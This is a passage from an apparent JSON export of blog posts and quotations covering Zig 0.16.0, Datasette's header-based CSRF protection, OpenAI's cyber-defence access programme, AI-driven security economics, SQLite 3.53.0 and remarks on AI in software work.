'speed':251C 'standard':51C,273C 'standing':141C 'static.simonwillison.net':580C 'static.simonwillison.net/static/2026/gemini-flash-tts.jpg)':579C 'stop':332C 'stuck':321C 'studio':108C,119C,303C 'style':189C 'success':563C 'sunny':212C 'support':368C,396C,411C 'surprising':78C 'tally':135C 'text':7B,36C,511C,524C 'text-to-speech':6B,35C 'that':40C,286C,361C 'the':50C,62C,71C,81C,101C,104C,106C,121C,131C,147C,153C,164C,190C,196C,199C,201C,209C,241C,271C,302C,323C,345C,369C,397C,412C,445C,516C,522C,528C,559C 'their':85C,150C,160C 'then':372C 'there':328C 'this':340C,390C,425C 'three':350C 'thumping':157C 'tip':506C,508C 'to':8B,37C,79C,88C,152C,180C,207C,330C,376C,466C,476C,483C,491C,498C 'today':32C,541C 'tone':210C 'too':546C 'tools':10B 'tools.simonwillison.net':432C 'tools.simonwillison.net/gemini-flash-tts):':431C 'top':275C,446C 'track':159C 'transcript':296C 'transitions':255C 'trying':428C 'tts':4A,31C,59C,440C,459C,527C 'tube':324C 'turn':339C 'two':351C 'ui':426C 'under':501C 'up':142C,182C,239C,341C 'upbeat':485C 'using':44C,54C,360C,515C 've':343C 'via':49C 'vibe':24B,423C 'vibe-coding':23B 'vibes':300C 'vocal':191C 'voice':481C,496C 'vowels':225C 'wake':181C 'walled':118C 'wav':577C 'we':342C 'web':441C 'what':357C 'with':240C,245C,253C,452C,462C,478C,493C,565C 'without':219C 'words':228C 'work':331C 'yawn':544C 'yes':298C 'you':193C,304C,319C,337C,550C 'your':364C,392C,407C,510C",
  "import_ref": null,
  "card_image": "https://static.simonwillison.net/static/2026/gemini-flash-tts-card.jpg",
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
quotation 2026-04-15 15:36:02+00:00
{
  "id": 2139,
  "slug": "kyle-kingsbury",
  "quotation": "I think we will see some people employed (though perhaps not explicitly) as *meat shields*: people who are accountable for ML systems under their supervision. The accountability may be purely internal, as when Meta hires human beings to review the decisions of automated moderation systems. It may be external, as when lawyers are penalized for submitting LLM lies to the court. It may involve formalized responsibility, like a Data Protection Officer. It may be convenient for a company to have third-party subcontractors, like Buscaglia, who can be thrown under the bus when the system as a whole misbehaves.",
  "source": "Kyle Kingsbury",
  "source_url": "https://aphyr.com/posts/419-the-future-of-everything-is-lies-i-guess-new-jobs",
  "created": "2026-04-15T15:36:02+00:00",
  "metadata": {},
  "search_document": "'a':68A,77A,98A 'accountability':27A 'accountable':19A 'ai':102B,104B 'ai-ethics':103B 'are':18A,53A 'as':13A,32A,50A,97A 'automated':43A 'be':29A,48A,74A,89A 'beings':37A 'bus':93A 'buscaglia':86A 'can':88A 'careers':101B 'company':78A 'convenient':75A 'court':61A 'data':69A 'decisions':41A 'employed':8A 'ethics':105B 'explicitly':12A 'external':49A 'for':20A,55A,76A 'formalized':65A 'have':80A 'hires':35A 'human':36A 'i':1A 'internal':31A 'involve':64A 'it':46A,62A,72A 'kingsbury':108B,110C 'kyle':107B,109C 'kyle-kingsbury':106B 'lawyers':52A 'lies':58A 'like':67A,85A 'llm':57A 'may':28A,47A,63A,73A 'meat':14A 'meta':34A 'misbehaves':100A 'ml':21A 'moderation':44A 'not':11A 'of':42A 'officer':71A 'party':83A 'penalized':54A 'people':7A,16A 'perhaps':10A 'protection':70A 'purely':30A 'responsibility':66A 'review':39A 'see':5A 'shields':15A 'some':6A 'subcontractors':84A 'submitting':56A 'supervision':25A 'system':96A 'systems':22A,45A 'the':26A,40A,60A,92A,95A 'their':24A 'think':2A 'third':82A 'third-party':81A 'though':9A 'thrown':90A 'to':38A,59A,79A 'under':23A,91A 'we':3A 'when':33A,51A,94A 'who':17A,87A 'whole':99A 'will':4A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "The Future of Everything is Lies, I Guess: New Jobs"
}
blogmark 2026-04-15 01:59:21+00:00
{
  "id": 9414,
  "slug": "juicy-main",
  "link_url": "https://ziglang.org/download/0.16.0/release-notes.html#Juicy-Main",
  "link_title": "Zig 0.16.0 release notes: \"Juicy Main\"",
  "via_url": "https://lobste.rs/s/4vvozb/zig_0_16_0_release_notes",
  "via_title": "Lobste.rs",
  "commentary": "Zig has *really good* release notes - comprehensive, detailed, and with relevant usage examples for each of the new features.\r\n\r\nOf particular note in the newly released Zig 0.16.0 is what they are calling \"Juicy Main\" - a dependency injection feature for your program's `main()` function where accepting a `process.Init` parameter grants access to a struct of useful properties:\r\n\r\n<div class=\"highlight highlight-source-zig\"><pre><span class=\"pl-k\">const</span> <span class=\"pl-v\">std</span> <span class=\"pl-k\">=</span> <span class=\"pl-k\">@import</span>(<span class=\"pl-s\">\"std\"</span>);\r\n\r\n<span class=\"pl-k\">pub</span> <span class=\"pl-k\">fn</span> <span class=\"pl-en\">main</span>(<span class=\"pl-v\">init</span>: <span class=\"pl-k\">std.process.Init</span>) <span class=\"pl-k\">!</span><span class=\"pl-k\">void</span> {\r\n    <span class=\"pl-c\">/// general purpose allocator for temporary heap allocations:</span>\r\n    <span class=\"pl-k\">const</span> <span class=\"pl-v\">gpa</span> <span class=\"pl-k\">=</span> <span class=\"pl-v\">init</span>.<span class=\"pl-v\">gpa</span>;\r\n    <span class=\"pl-c\">/// default Io implementation:</span>\r\n    <span class=\"pl-k\">const</span> <span class=\"pl-v\">io</span> <span class=\"pl-k\">=</span> <span class=\"pl-v\">init</span>.<span class=\"pl-v\">io</span>;\r\n    <span class=\"pl-c\">/// access to environment variables:</span>\r\n    <span class=\"pl-v\">std</span>.<span class=\"pl-v\">log</span>.<span class=\"pl-v\">info</span>(<span class=\"pl-s\">\"{d} env vars\"</span>, .{<span class=\"pl-v\">init</span>.<span class=\"pl-v\">environ_map</span>.<span class=\"pl-v\">count</span>()});\r\n    <span class=\"pl-c\">/// access to CLI arguments</span>\r\n    <span class=\"pl-k\">const</span> <span class=\"pl-v\">args</span> <span class=\"pl-k\">=</span> <span class=\"pl-k\">try</span> <span class=\"pl-v\">init</span>.<span class=\"pl-v\">minimal</span>.<span class=\"pl-v\">args</span>.<span class=\"pl-v\">toSlice</span>(\r\n        <span class=\"pl-v\">init</span>.<span class=\"pl-v\">arena</span>.<span class=\"pl-v\">allocator</span>()\r\n    );\r\n}</pre></div>",
  "created": "2026-04-15T01:59:21+00:00",
  "metadata": {},
  "search_document": "'0.16.0':2A,35C 'a':43C,55C,61C 'accepting':54C 'access':59C,94C,108C 'allocations':82C 'allocator':78C,121C 'and':16C 'are':39C 'arena':120C 'args':113C,117C 'arguments':111C 'calling':40C 'cli':110C 'comprehensive':14C 'const':66C,83C,90C,112C 'count':107C 'd':101C 'default':87C 'dependency':44C 'detailed':15C 'each':22C 'env':102C 'environ':105C 'environment':96C 'examples':20C 'feature':46C 'features':26C 'fn':71C 'for':21C,47C,79C 'function':52C 'general':76C 'good':11C 'gpa':84C,86C 'grants':58C 'has':9C 'heap':81C 'implementation':89C 'import':68C 'in':30C 'info':100C 'init':73C,85C,92C,104C,115C,119C 'injection':45C 'io':88C,91C,93C 'is':36C 'juicy':5A,41C 'lobste.rs':123C 'log':99C 'main':6A,42C,51C,72C 'map':106C 'minimal':116C 'new':25C 'newly':32C 'note':29C 'notes':4A,13C 'of':23C,27C,63C 'parameter':57C 'particular':28C 'process.init':56C 'program':49C 'properties':65C 'pub':70C 'purpose':77C 'really':10C 'release':3A,12C 'released':33C 'relevant':18C 's':50C 'std':67C,69C,98C 'std.process.init':74C 'struct':62C 'temporary':80C 'the':24C,31C 'they':38C 'to':60C,95C,109C 'toslice':118C 'try':114C 'usage':19C 'useful':64C 'variables':97C 'vars':103C 'void':75C 'what':37C 'where':53C 'with':17C 'your':48C 'zig':1A,7B,8C,34C 'ziglang.org':122C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
blogmark 2026-04-14 23:58:53+00:00
{
  "id": 9413,
  "slug": "replace-token-based-csrf",
  "link_url": "https://github.com/simonw/datasette/pull/2689",
  "link_title": "datasette PR #2689: Replace token-based CSRF with Sec-Fetch-Site header protection",
  "via_url": null,
  "via_title": null,
  "commentary": "Datasette has long protected against CSRF attacks using CSRF tokens, implemented using my [asgi-csrf](https://github.com/simonw/asgi-csrf) Python library. These are something of a pain to work with - you need to scatter forms in templates with `<input type=\"hidden\" name=\"csrftoken\" value=\"{{ csrftoken() }}\">` lines and then selectively disable CSRF protection for APIs that are intended to be called from outside the browser.\r\n\r\nI've been following Filippo Valsorda's research here with interest, described in [this detailed essay from August 2025](https://words.filippo.io/csrf/) and shipped [as part of Go 1.25](https://tip.golang.org/doc/go1.25#nethttppkgnethttp) that same month.\r\n\r\nI've now landed the same change in Datasette. Here's the PR description - Claude Code did much of the work (across 10 commits, closely guided by me and cross-reviewed by GPT-5.4) but I've decided to start writing these PR descriptions by hand, partly to make them more concise and also as an exercise in keeping myself honest.\r\n\r\n> - New CSRF protection middleware inspired by Go 1.25 and [this research](https://words.filippo.io/csrf/) by Filippo Valsorda. This replaces the old CSRF token based protection.\r\n> - Removes all instances of `<input type=\"hidden\" name=\"csrftoken\" value=\"{{ csrftoken() }}\">` in the templates - they are no longer needed.\r\n> - Removes the `def skip_csrf(datasette, scope):` plugin hook defined in `datasette/hookspecs.py` and its documentation and tests.\r\n> - Updated [CSRF protection documentation](https://docs.datasette.io/en/latest/internals.html#csrf-protection) to describe the new approach.\r\n> - Upgrade guide now [describes the CSRF change](https://docs.datasette.io/en/latest/upgrade_guide.html#csrf-protection-is-now-header-based).",
  "created": "2026-04-14T23:58:53+00:00",
  "metadata": {},
  "search_document": "'-5.4':149C '/csrf/)':101C,190C '/doc/go1.25#nethttppkgnethttp)':111C '/en/latest/internals.html#csrf-protection)':237C '/en/latest/upgrade_guide.html#csrf-protection-is-now-header-based).':252C '/simonw/asgi-csrf)':41C '1.25':108C,184C '10':137C '2025':98C '2689':3A 'a':48C 'across':136C 'against':27C 'ai':20B 'ai-assisted-programming':19B 'all':203C 'also':169C 'an':171C 'and':62C,102C,143C,168C,185C,226C,229C 'apis':69C 'approach':242C 'are':45C,71C,210C 'as':104C,170C 'asgi':37C 'asgi-csrf':36C 'assisted':21B 'attacks':29C 'august':97C 'based':7A,200C 'be':74C 'been':82C 'browser':79C 'but':150C 'by':141C,147C,160C,182C,191C 'called':75C 'change':121C,249C 'claude':129C 'closely':139C 'code':130C 'commits':138C 'concise':167C 'cross':145C 'cross-reviewed':144C 'csrf':8A,16B,28C,31C,38C,66C,178C,198C,218C,232C,248C 'datasette':1A,18B,23C,123C,219C 'datasette/hookspecs.py':225C 'decided':153C 'def':216C 'defined':223C 'describe':239C 'described':91C 'describes':246C 'description':128C 'descriptions':159C 'detailed':94C 'did':131C 'disable':65C 'docs.datasette.io':236C,251C 'docs.datasette.io/en/latest/internals.html#csrf-protection)':235C 'docs.datasette.io/en/latest/upgrade_guide.html#csrf-protection-is-now-header-based).':250C 'documentation':228C,234C 'essay':95C 'exercise':172C 'fetch':12A 'filippo':84C,192C 'following':83C 'for':68C 'forms':57C 'from':76C,96C 'github.com':40C,253C 'github.com/simonw/asgi-csrf)':39C 'go':107C,183C 'gpt':148C 'guide':244C 'guided':140C 'hand':161C 'has':24C 'header':14A 'here':88C,124C 'honest':176C 'hook':222C 'i':80C,115C,151C 'implemented':33C 'in':58C,92C,122C,173C,206C,224C 'inspired':181C 'instances':204C 'intended':72C 'interest':90C 'its':227C 'keeping':174C 'landed':118C 'library':43C 'lines':61C 'long':25C 'longer':212C 'make':164C 'me':142C 'middleware':180C 'month':114C 'more':166C 'much':132C 'my':35C 'myself':175C 'need':54C 'needed':213C 'new':177C,241C 'no':211C 'now':117C,245C 'of':47C,106C,133C,205C 'old':197C 'outside':77C 'pain':49C 'part':105C 'partly':162C 'plugin':221C 'pr':2A,127C,158C 'programming':22B 'protected':26C 'protection':15A,67C,179C,201C,233C 'python':42C 'removes':202C,214C 'replace':4A 'replaces':195C 'research':87C,187C 'reviewed':146C 's':86C,125C 'same':113C,120C 'scatter':56C 'scope':220C 'sec':11A 'sec-fetch-site':10A 'security':17B 'selectively':64C 'shipped':103C 'site':13A 'skip':217C 'something':46C 'start':155C 'templates':59C,208C 'tests':230C 'that':70C,112C 'the':78C,119C,126C,134C,196C,207C,215C,240C,247C 'them':165C 'then':63C 'these':44C,157C 'they':209C 'this':93C,186C,194C 'tip.golang.org':110C 'tip.golang.org/doc/go1.25#nethttppkgnethttp)':109C 'to':50C,55C,73C,154C,163C,238C 'token':6A,199C 'token-based':5A 'tokens':32C 'updated':231C 'upgrade':243C 'using':30C,34C 'valsorda':85C,193C 've':81C,116C,152C 'with':9A,52C,60C,89C 'words.filippo.io':100C,189C 'words.filippo.io/csrf/)':99C,188C 'work':51C,135C 'writing':156C 'you':53C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
blogmark 2026-04-14 21:23:59+00:00
{
  "id": 9412,
  "slug": "trusted-access-openai",
  "link_url": "https://openai.com/index/scaling-trusted-access-for-cyber-defense/",
  "link_title": "Trusted access for the next era of cyber defense",
  "via_url": "https://news.ycombinator.com/item?id=47770770",
  "via_title": "Hacker News",
  "commentary": "OpenAI's answer to [Claude Mythos](https://simonwillison.net/2026/Apr/7/project-glasswing/) appears to be a new model called GPT-5.4-Cyber:\r\n\r\n> In preparation for increasingly more capable models from OpenAI over the next few months, we are fine-tuning our models specifically to enable defensive cybersecurity use cases, starting today with a variant of GPT\u20115.4 trained to be cyber-permissive: GPT\u20115.4\u2011Cyber.\r\n\r\nThey're also extending a program they launched in February (which I had missed) called [Trusted Access for Cyber](https://openai.com/index/trusted-access-for-cyber/), where users can verify their identity (via a photo of a government-issued ID processed by [Persona](https://withpersona.com/)) to gain \"reduced friction\" access to OpenAI's models for cybersecurity work.\r\n\r\nHonestly, this OpenAI announcement is difficult to follow. Unsurprisingly they don't mention Anthropic at all, but much of the piece emphasizes their many years of existing cybersecurity work and their goal to \"democratize access\" to these tools, hence the emphasis on that self-service verification flow from February.\r\n\r\nIf you want access to their best security tools you still need to go through an extra Google Form application process though, which doesn't feel particularly different to me from Anthropic's [Project Glasswing](https://www.anthropic.com/glasswing).",
  "created": "2026-04-14T21:23:59+00:00",
  "metadata": {},
  "search_document": "'-5.4':39C '/))':128C '/2026/apr/7/project-glasswing/)':30C '/glasswing).':228C '/index/trusted-access-for-cyber/),':107C '5.4':76C,84C 'a':34C,72C,90C,115C,118C 'access':2A,102C,133C,175C,194C 'ai':11B,15B,19B 'ai-security-research':18B 'all':156C 'also':88C 'an':206C 'and':170C 'announcement':144C 'answer':24C 'anthropic':17B,154C,222C 'appears':31C 'application':210C 'are':56C 'at':155C 'be':33C,79C 'best':197C 'but':157C 'by':124C 'called':37C,100C 'can':110C 'capable':46C 'cases':68C 'claude':26C 'cyber':8A,40C,81C,85C,104C 'cyber-permissive':80C 'cybersecurity':66C,139C,168C 'defense':9A 'defensive':65C 'democratize':174C 'different':218C 'difficult':146C 'doesn':214C 'don':151C 'emphasis':181C 'emphasizes':162C 'enable':64C 'era':6A 'existing':167C 'extending':89C 'extra':207C 'february':95C,190C 'feel':216C 'few':53C 'fine':58C 'fine-tuning':57C 'flow':188C 'follow':148C 'for':3A,43C,103C,138C 'form':209C 'friction':132C 'from':48C,189C,221C 'gain':130C 'generative':14B 'generative-ai':13B 'glasswing':225C 'go':204C 'goal':172C 'google':208C 'government':120C 'government-issued':119C 'gpt':38C,75C,83C 'hacker':230C 'had':98C 'hence':179C 'honestly':141C 'i':97C 'id':122C 'identity':113C 'if':191C 'in':41C,94C 'increasingly':44C 'is':145C 'issued':121C 'launched':93C 'llms':16B 'many':164C 'me':220C 'mention':153C 'missed':99C 'model':36C 'models':47C,61C,137C 'months':54C 'more':45C 'much':158C 'mythos':27C 'need':202C 'new':35C 'news':231C 'next':5A,52C 'of':7A,74C,117C,159C,166C 'on':182C 'openai':12B,22C,49C,135C,143C 'openai.com':106C,229C 'openai.com/index/trusted-access-for-cyber/),':105C 'our':60C 'over':50C 'particularly':217C 'permissive':82C 'persona':125C 'photo':116C 'piece':161C 'preparation':42C 'process':211C 'processed':123C 'program':91C 'project':224C 're':87C 'reduced':131C 'research':21B 's':23C,136C,223C 'security':10B,20B,198C 'self':185C 'self-service':184C 'service':186C 'simonwillison.net':29C 'simonwillison.net/2026/apr/7/project-glasswing/)':28C 'specifically':62C 'starting':69C 'still':201C 't':152C,215C 'that':183C 'the':4A,51C,160C,180C 'their':112C,163C,171C,196C 'these':177C 'they':86C,92C,150C 'this':142C 'though':212C 'through':205C 'to':25C,32C,63C,78C,129C,134C,147C,173C,176C,195C,203C,219C 'today':70C 'tools':178C,199C 'trained':77C 'trusted':1A,101C 'tuning':59C 'unsurprisingly':149C 'use':67C 'users':109C 'variant':73C 'verification':187C 'verify':111C 'via':114C 'want':193C 'we':55C 'where':108C 'which':96C,213C 'with':71C 'withpersona.com':127C 'withpersona.com/))':126C 'work':140C,169C 'www.anthropic.com':227C 'www.anthropic.com/glasswing).':226C 'years':165C 'you':192C,200C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
blogmark 2026-04-14 19:41:48+00:00
{
  "id": 9411,
  "slug": "cybersecurity-proof-of-work",
  "link_url": "https://www.dbreunig.com/2026/04/14/cybersecurity-is-proof-of-work-now.html",
  "link_title": "Cybersecurity Looks Like Proof of Work Now",
  "via_url": null,
  "via_title": null,
  "commentary": "The UK's AI Safety Institute recently published [Our evaluation of Claude Mythos Preview\u2019s cyber capabilities](https://www.aisi.gov.uk/blog/our-evaluation-of-claude-mythos-previews-cyber-capabilities), their own independent analysis of [Claude Mythos](https://simonwillison.net/2026/Apr/7/project-glasswing/) which backs up Anthropic's claims that it is exceptionally effective at identifying security vulnerabilities.\r\n\r\nDrew Breunig notes that AISI's report shows that the more tokens (and hence money) they spent the better the result they got, which leads to a strong economic incentive to spend as much as possible on security reviews:\r\n\r\n> If Mythos continues to find exploits so long as you keep throwing money at it, security is reduced to a brutally simple equation: **to harden a system you need to spend more tokens discovering exploits than attackers will spend exploiting them**.\r\n\r\nAn interesting result of this is that open source libraries become *more* valuable, since the tokens spent securing them can be shared across all of their users. This directly counters the idea that the low cost of vibe-coding up a replacement for an open source library makes those open source projects less attractive.",
  "created": "2026-04-14T19:41:48+00:00",
  "metadata": {},
  "search_document": "'/2026/apr/7/project-glasswing/)':55C '/blog/our-evaluation-of-claude-mythos-previews-cyber-capabilities),':45C 'a':97C,129C,135C,192C 'across':173C 'ai':11B,14B,23B,29C 'ai-security-research':22B 'aisi':75C 'all':174C 'an':151C,195C 'analysis':49C 'and':83C 'anthropic':59C 'as':103C,105C,118C 'at':67C,123C 'attackers':146C 'attractive':205C 'backs':57C 'be':171C 'become':161C 'better':89C 'breunig':18B,72C 'brutally':130C 'can':170C 'capabilities':42C 'claims':61C 'claude':37C,51C 'coding':21B,190C 'continues':112C 'cost':186C 'counters':180C 'cyber':41C 'cybersecurity':1A 'directly':179C 'discovering':143C 'drew':17B,71C 'drew-breunig':16B 'economic':99C 'effective':66C 'equation':132C 'evaluation':35C 'exceptionally':65C 'exploiting':149C 'exploits':115C,144C 'find':114C 'for':194C 'generative':13B 'generative-ai':12B 'got':93C 'harden':134C 'hence':84C 'idea':182C 'identifying':68C 'if':110C 'incentive':100C 'independent':48C 'institute':31C 'interesting':152C 'is':64C,126C,156C 'it':63C,124C 'keep':120C 'leads':95C 'less':204C 'libraries':160C 'library':198C 'like':3A 'llms':15B 'long':117C 'looks':2A 'low':185C 'makes':199C 'money':85C,122C 'more':81C,141C,162C 'much':104C 'mythos':38C,52C,111C 'need':138C 'notes':73C 'now':7A 'of':5A,36C,50C,154C,175C,187C 'on':107C 'open':9B,158C,196C,201C 'open-source':8B 'our':34C 'own':47C 'possible':106C 'preview':39C 'projects':203C 'proof':4A 'published':33C 'recently':32C 'reduced':127C 'replacement':193C 'report':77C 'research':25B 'result':91C,153C 'reviews':109C 's':28C,40C,60C,76C 'safety':30C 'securing':168C 'security':24B,69C,108C,125C 'shared':172C 'shows':78C 'simonwillison.net':54C 'simonwillison.net/2026/apr/7/project-glasswing/)':53C 'simple':131C 'since':164C 'so':116C 'source':10B,159C,197C,202C 'spend':102C,140C,148C 'spent':87C,167C 'strong':98C 'system':136C 'than':145C 'that':62C,74C,79C,157C,183C 'the':26C,80C,88C,90C,165C,181C,184C 'their':46C,176C 'them':150C,169C 'they':86C,92C 'this':155C,178C 'those':200C 'throwing':121C 'to':96C,101C,113C,128C,133C,139C 'tokens':82C,142C,166C 'uk':27C 'up':58C,191C 'users':177C 'valuable':163C 'vibe':20B,189C 'vibe-coding':19B,188C 'vulnerabilities':70C 'which':56C,94C 'will':147C 'work':6A 'www.aisi.gov.uk':44C 'www.aisi.gov.uk/blog/our-evaluation-of-claude-mythos-previews-cyber-capabilities),':43C 'www.dbreunig.com':206C 'you':119C,137C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
quotation 2026-04-13 20:59:45+00:00
{
  "id": 2138,
  "slug": "steve-yegge2",
  "quotation": "The TL;DR is that Google engineering appears to have the same AI adoption footprint as John Deere, the tractor company. Most of the industry has the same internal adoption curve: 20% agentic power users, 20% outright refusers, 60% still using Cursor or equivalent chat tool. It turns out Google has this curve too. [...]\r\n\r\nThere has been an industry-wide hiring freeze for 18+ months, during which time nobody has been moving jobs. So there are no clued-in people coming in from the outside to tell Google how far behind they are, how utterly mediocre they have become as an eng org.",
  "source": "Steve Yegge",
  "source_url": "https://twitter.com/steve_yegge/status/2043747998740689171",
  "created": "2026-04-13T20:59:45+00:00",
  "metadata": {},
  "search_document": "'18':65A '20':32A,36A '60':39A 'adoption':14A,30A 'agentic':33A,116B 'agentic-engineering':115B 'ai':13A,110B,113B 'an':58A,103A 'appears':8A 'are':77A,95A 'as':16A,102A 'become':101A 'been':57A,72A 'behind':93A 'chat':45A 'clued':80A 'clued-in':79A 'coming':83A 'company':21A 'cursor':42A 'curve':31A,53A 'deere':18A 'dr':3A 'during':67A 'eng':104A 'engineering':7A,117B 'equivalent':44A 'far':92A 'footprint':15A 'for':64A 'freeze':63A 'from':85A 'generative':112B 'generative-ai':111B 'google':6A,50A,90A,106B 'has':26A,51A,56A,71A 'have':10A,100A 'hiring':62A 'how':91A,96A 'in':81A,84A 'industry':25A,60A 'industry-wide':59A 'internal':29A 'is':4A 'it':47A 'jobs':74A 'john':17A 'llms':114B 'mediocre':98A 'months':66A 'most':22A 'moving':73A 'no':78A 'nobody':70A 'of':23A 'or':43A 'org':105A 'out':49A 'outright':37A 'outside':87A 'people':82A 'power':34A 'refusers':38A 'same':12A,28A 'so':75A 'steve':108B,118C 'steve-yegge':107B 'still':40A 'tell':89A 'that':5A 'the':1A,11A,19A,24A,27A,86A 'there':55A,76A 'they':94A,99A 'this':52A 'time':69A 'tl':2A 'to':9A,88A 'too':54A 'tool':46A 'tractor':20A 'turns':48A 'users':35A 'using':41A 'utterly':97A 'which':68A 'wide':61A 'yegge':109B,119C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": true,
  "context": "provocative, as always"
}
quotation 2026-04-13 02:44:24+00:00
{
  "id": 2137,
  "slug": "bryan-cantrill",
  "quotation": "The problem is that LLMs inherently\u00a0**lack the virtue of laziness**. Work costs nothing to an LLM. LLMs do not feel a need to optimize for their own (or anyone's) future time, and will happily dump more and more onto a layercake of garbage. Left unchecked, LLMs will make systems larger, not better &mdash; appealing to perverse vanity metrics, perhaps, but at the cost of everything that matters.\r\n\r\nAs such, LLMs highlight how essential our human laziness is: our finite time\u00a0**forces**\u00a0us to develop crisp abstractions in part because we don't want to waste our (human!) time on the consequences of clunky ones.",
  "source": "Bryan Cantrill",
  "source_url": "https://bcantrill.dtrace.org/2026/04/12/the-peril-of-laziness-lost/",
  "created": "2026-04-13T02:44:24+00:00",
  "metadata": {},
  "search_document": "'a':22A,42A 'abstractions':87A 'ai':106B,109B,112B 'ai-assisted-programming':111B 'an':16A 'and':34A,39A 'anyone':30A 'appealing':55A 'as':69A 'assisted':113B 'at':62A 'because':90A 'better':54A 'bryan':116B,118C 'bryan-cantrill':115B 'but':61A 'cantrill':117B,119C 'clunky':104A 'consequences':102A 'cost':64A 'costs':13A 'crisp':86A 'develop':85A 'do':19A 'don':92A 'dump':37A 'essential':74A 'everything':66A 'feel':21A 'finite':80A 'for':26A 'forces':82A 'future':32A 'garbage':45A 'generative':108B 'generative-ai':107B 'happily':36A 'highlight':72A 'how':73A 'human':76A,98A 'in':88A 'inherently':6A 'is':3A,78A 'lack':7A 'larger':52A 'layercake':43A 'laziness':11A,77A 'left':46A 'llm':17A 'llms':5A,18A,48A,71A,110B 'make':50A 'matters':68A 'metrics':59A 'more':38A,40A 'need':23A 'not':20A,53A 'nothing':14A 'of':10A,44A,65A,103A 'on':100A 'ones':105A 'onto':41A 'optimize':25A 'or':29A 'our':75A,79A,97A 'own':28A 'part':89A 'perhaps':60A 'perverse':57A 'problem':2A 'programming':114B 's':31A 'such':70A 'systems':51A 't':93A 'that':4A,67A 'the':1A,8A,63A,101A 'their':27A 'time':33A,81A,99A 'to':15A,24A,56A,84A,95A 'unchecked':47A 'us':83A 'vanity':58A 'virtue':9A 'want':94A 'waste':96A 'we':91A 'will':35A,49A 'work':12A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "The peril of laziness lost"
}
blogmark 2026-04-11 19:56:53+00:00
{
  "id": 9410,
  "slug": "sqlite",
  "link_url": "https://sqlite.org/releaselog/3_53_0.html",
  "link_title": "SQLite 3.53.0",
  "via_url": "https://lobste.rs/s/sqsb24/sqlite_3_53_0",
  "via_title": "Lobste.rs",
  "commentary": "SQLite 3.52.0 was withdrawn so this is a pretty big release with a whole lot of accumulated user-facing and internal improvements. Some that stood out to me:\r\n\r\n- `ALTER TABLE` can now add and remove `NOT NULL` and `CHECK` constraints - I've previously used my own [sqlite-utils transform() method](https://sqlite-utils.datasette.io/en/stable/python-api.html#changing-not-null-status) for this.\r\n- New [json_array_insert() function](https://sqlite.org/json1.html#jarrayins) and its `jsonb` equivalent.\r\n- Significant improvements to [CLI mode](https://sqlite.org/climode.html), including result formatting.\r\n\r\nThe result formatting improvements come from a new library, the [Query Results Formatter](https://sqlite.org/src/file/ext/qrf). I [had Claude Code](https://github.com/simonw/tools/pull/266) (on my phone) compile that to WebAssembly and build [this playground interface](https://tools.simonwillison.net/sqlite-qrf) for trying that out.",
  "created": "2026-04-11T19:56:53+00:00",
  "metadata": {},
  "search_document": "'/climode.html),':81C '/en/stable/python-api.html#changing-not-null-status)':59C '/json1.html#jarrayins)':69C '/simonw/tools/pull/266)':107C '/sqlite-qrf)':122C '/src/file/ext/qrf).':100C '3.52.0':6C '3.53.0':2A 'a':12C,17C,91C 'accumulated':21C 'add':38C 'alter':34C 'and':25C,39C,43C,70C,115C 'array':64C 'big':14C 'build':116C 'can':36C 'check':44C 'claude':103C 'cli':77C 'code':104C 'come':89C 'compile':111C 'constraints':45C 'equivalent':73C 'facing':24C 'for':60C,123C 'formatter':97C 'formatting':84C,87C 'from':90C 'function':66C 'github.com':106C 'github.com/simonw/tools/pull/266)':105C 'had':102C 'i':46C,101C 'improvements':27C,75C,88C 'including':82C 'insert':65C 'interface':119C 'internal':26C 'is':11C 'its':71C 'json':63C 'jsonb':72C 'library':93C 'lobste.rs':128C 'lot':19C 'me':33C 'method':56C 'mode':78C 'my':50C,109C 'new':62C,92C 'not':41C 'now':37C 'null':42C 'of':20C 'on':108C 'out':31C,126C 'own':51C 'phone':110C 'playground':118C 'pretty':13C 'previously':48C 'query':95C 'release':15C 'remove':40C 'result':83C,86C 'results':96C 'significant':74C 'so':9C 'some':28C 'sql':3B 'sqlite':1A,4B,5C,53C 'sqlite-utils':52C 'sqlite-utils.datasette.io':58C 'sqlite-utils.datasette.io/en/stable/python-api.html#changing-not-null-status)':57C 'sqlite.org':68C,80C,99C,127C 'sqlite.org/climode.html),':79C 'sqlite.org/json1.html#jarrayins)':67C 'sqlite.org/src/file/ext/qrf).':98C 'stood':30C 'table':35C 'that':29C,112C,125C 'the':85C,94C 'this':10C,61C,117C 'to':32C,76C,113C 'tools.simonwillison.net':121C 'tools.simonwillison.net/sqlite-qrf)':120C 'transform':55C 'trying':124C 'used':49C 'user':23C 'user-facing':22C 'utils':54C 've':47C 'was':7C 'webassembly':114C 'whole':18C 'with':16C 'withdrawn':8C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
quotation 2026-04-08 15:18:49+00:00
{
  "id": 2136,
  "slug": "giles-turnbull",
  "quotation": "I have a feeling that **everyone likes using AI tools to try doing someone else\u2019s profession**. They\u2019re much less keen when someone else uses it for their profession.",
  "source": "Giles Turnbull",
  "source_url": "https://gilest.org/notes/2026/human-ai/",
  "created": "2026-04-08T15:18:49+00:00",
  "metadata": {},
  "search_document": "'a':3A 'ai':9A,32B,34B 'ai-ethics':33B 'doing':13A 'else':15A,25A 'ethics':35B 'everyone':6A 'feeling':4A 'for':28A 'giles':36C 'have':2A 'i':1A 'it':27A 'keen':22A 'less':21A 'likes':7A 'much':20A 'profession':17A,30A 're':19A 's':16A 'someone':14A,24A 'that':5A 'their':29A 'they':18A 'to':11A 'tools':10A 'try':12A 'turnbull':37C 'uses':26A 'using':8A 'when':23A 'writing':31B",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "AI and the human voice"
}
blogmark 2026-04-07 21:25:14+00:00
{
